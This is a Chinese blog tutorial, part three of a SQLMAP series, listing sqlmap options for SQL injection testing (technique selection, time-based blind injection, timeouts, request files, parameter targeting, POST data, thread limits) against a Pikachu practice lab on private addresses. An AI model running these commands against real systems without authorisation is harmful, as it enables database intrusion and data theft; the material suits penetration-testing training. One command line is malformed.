当前位置:网站首页>SQLMAP使用教程(三)实战技巧二
SQLMAP使用教程(三)实战技巧二
2022-07-06 05:48:00 【Aτθ】
一、–technique 使用指定的注入方式
在一些项目中,难免会遇上网络反应缓慢,idc还有检测sqlmap的能力。作为一个专业的渗透测试人员,必须做到快准狠。
有些SQL注入点只允许时间注入,这时指定SQLMAP的注入类型为T
以下是--technique 参数的值的解释:
B:Boolean-basedblindSQLinjection(布尔型注入)
E:Error-basedSQLinjection(报错型注入)
U:UNIONquerySQLinjection(可联合查询注入)
S:StackedqueriesSQLinjection(可多语句查询注入)
T:Time-basedblindSQLinjection(基于时间延迟注入)
Q:InlineSQLInjection(内联注入)
二、使用基于时间的延时注入
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 3 -D pikachu --technique=T
支持多种注入检测,默认是全部:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 3 -D pikachu --technique=BEUT
三、设置超时时间
--time-out 这个参数是设置超时时间 有得网页响应比较慢,可以使用这个参数来增大访问超时的时间。默认是30
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 3 -D pikachu --timeout=10
四、读取文本进行SQL注入检测
sqlmap -r post.txt
五、指定参数进行注入
-p 指定需要测试的参数
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name --dbms mysql -v 1
使用*进行注入
如果url是伪静态的时 ,可以使用*号表示这是检测的地方;
sqlmap -u "http://192.168.0.103/06/vul/sqli/id/1*./html POST注入 sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_id.php" --data "id=1&submit=1" -p id -v 1
六、修改默认最大线程
sqlmap/lib/core/settings.py
默认最大线程是10 可以设置线程最大为100
MAX_NUMBER_OF_THREADS = 100
边栏推荐
- Report on the competition status and investment decision recommendations of Guangxi hospital industry in China from 2022 to 2028
- Station B Liu Erden - linear regression and gradient descent
- 网站进行服务器迁移前应做好哪些准备?
- Redis消息队列
- The difference and usage between continue and break
- 【经验】win11上安装visio
- 华为BFD的配置规范
- (5) Explanation of yolo-v3 core source code (3)
- [Thesis code] SML part code reading
- Analysis of grammar elements in turtle Library
猜你喜欢
【无标题】
初识数据库
Network protocol model
First knowledge database
【论文阅读】NFlowJS:基于鲁棒学习的合成负数据密集异常检测
Li Chuang EDA learning notes 12: common PCB board layout constraint principles
[email protected] raspberry pie"/>
[email protected] raspberry pie
Cannot build artifact 'test Web: War expanded' because it is included into a circular depend solution
C language learning notes (mind map)
Report on market depth analysis and future trend prediction of China's arsenic trioxide industry from 2022 to 2028
随机推荐
Luogu [Beginner Level 4] array p1427 number game of small fish
初识数据库
c语言——冒泡排序
B站刘二大人-Softmx分类器及MNIST实现-Lecture 9
Li Chuang EDA learning notes 12: common PCB board layout constraint principles
About PHP startup, mongodb cannot find the specified module
How to recover Huawei router's forgotten password
类和对象(一)this指针详解
大型网站如何选择比较好的云主机服务商?
The difference and usage between continue and break
YYGH-11-定时统计
Practice sharing: how to safely and quickly migrate from CentOS to openeuler
Garbage collector with serial, throughput priority and response time priority
H3C V7 switch configuration IRF
[paper reading] nflowjs: synthetic negative data intensive anomaly detection based on robust learning
Sequoiadb Lake warehouse integrated distributed database, June 2022 issue
Redis消息队列
[Jiudu OJ 07] folding basket
【论文阅读】NFlowJS:基于鲁棒学习的合成负数据密集异常检测
B站刘二大人-多元逻辑回归 Lecture 7